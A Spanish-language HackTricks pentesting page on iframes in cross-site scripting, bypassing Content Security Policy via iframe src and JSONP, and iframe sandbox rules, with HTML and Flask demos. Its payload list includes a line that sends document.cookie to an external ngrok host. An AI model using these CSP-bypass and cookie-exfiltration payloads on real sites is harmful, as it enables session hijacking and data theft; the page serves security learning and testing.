hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

8.2 KiB

Iframes en XSS, CSP y SOP

Existen 3 formas de indicar el contenido de una página enmarcada:

  • A través de src indicando una URL (la URL puede ser de origen cruzado o del mismo origen)
  • A través de src indicando el contenido usando el protocolo data:
  • A través de srcdoc indicando el contenido

Accediendo a variables del padre e hijo

<html>
  <script>
  var secret = "31337s3cr37t";
  </script>

  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if2" src="child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

  <script>
  function access_children_vars(){
    alert(if1.secret);
    alert(if2.secret);
    alert(if3.secret);
    alert(if4.secret);
  }
  setTimeout(access_children_vars, 3000);
  </script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Si accedes al HTML anterior a través de un servidor HTTP (como python3 -m http.server), notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo impida). El padre no podrá acceder a la variable secret dentro de ningún iframe y solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto en la ventana original.
Observa cómo if4 se considera que tiene un origen nulo.

Iframes con CSP

{% hint style="info" %} Por favor, ten en cuenta que en los siguientes bypasses, la respuesta a la página enmarcada no contiene ninguna cabecera CSP que impida la ejecución de JS. {% endhint %}

El valor self de script-src no permitirá la ejecución del código JS utilizando el protocolo data: o el atributo srcdoc.
Sin embargo, incluso el valor none del CSP permitirá la ejecución de los iframes que colocan una URL (completa o solo la ruta) en el atributo src.
Por lo tanto, es posible eludir el CSP de una página con:

<html>
<head>
 <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
  <script>
  var secret = "31337s3cr37t";
  </script>
  <iframe id="if1" src="child.html"></iframe>
  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Observa cómo la CSP anterior solo permite la ejecución del script en línea.
Sin embargo, solo se ejecutarán los scripts if1 e if2, pero solo if1 podrá acceder al secreto padre.

Por lo tanto, es posible burlar una CSP si se puede cargar un archivo JS en el servidor y cargarlo a través de un iframe incluso con script-src 'none'. Esto potencialmente también se puede hacer abusando de un punto final JSONP del mismo sitio.

Puedes probar esto con el siguiente escenario en el que se roba una cookie incluso con script-src 'none'. Simplemente ejecuta la aplicación y accede a ella con tu navegador:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
    resp.headers['Content-Security-Policy'] = "script-src 'self'"
    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    return resp

@app.route("/cookie_s.html")
def cookie_s():
    return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
    app.run()

Otros Payloads encontrados en la naturaleza

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

El atributo sandbox permite aplicar un conjunto adicional de restricciones al contenido dentro del iframe. Por defecto, no se aplica ninguna restricción.

Cuando el atributo sandbox está presente, se realizarán las siguientes acciones:

  • Tratar el contenido como si fuera de un origen único.
  • Bloquear el envío de formularios.
  • Bloquear la ejecución de scripts.
  • Deshabilitar las APIs.
  • Evitar que los enlaces apunten a otros contextos de navegación.
  • Evitar que el contenido utilice plugins (a través de <embed>, <object>, <applet>, u otros).
  • Evitar que el contenido navegue su contexto de navegación de nivel superior.
  • Bloquear las características activadas automáticamente (como reproducir automáticamente un video o enfocar automáticamente un control de formulario).

El valor del atributo sandbox puede estar vacío (entonces se aplican todas las restricciones), o ser una lista separada por espacios de valores predefinidos que ELIMINARÁN restricciones particulares.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes en SOP

Revisa las siguientes páginas:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥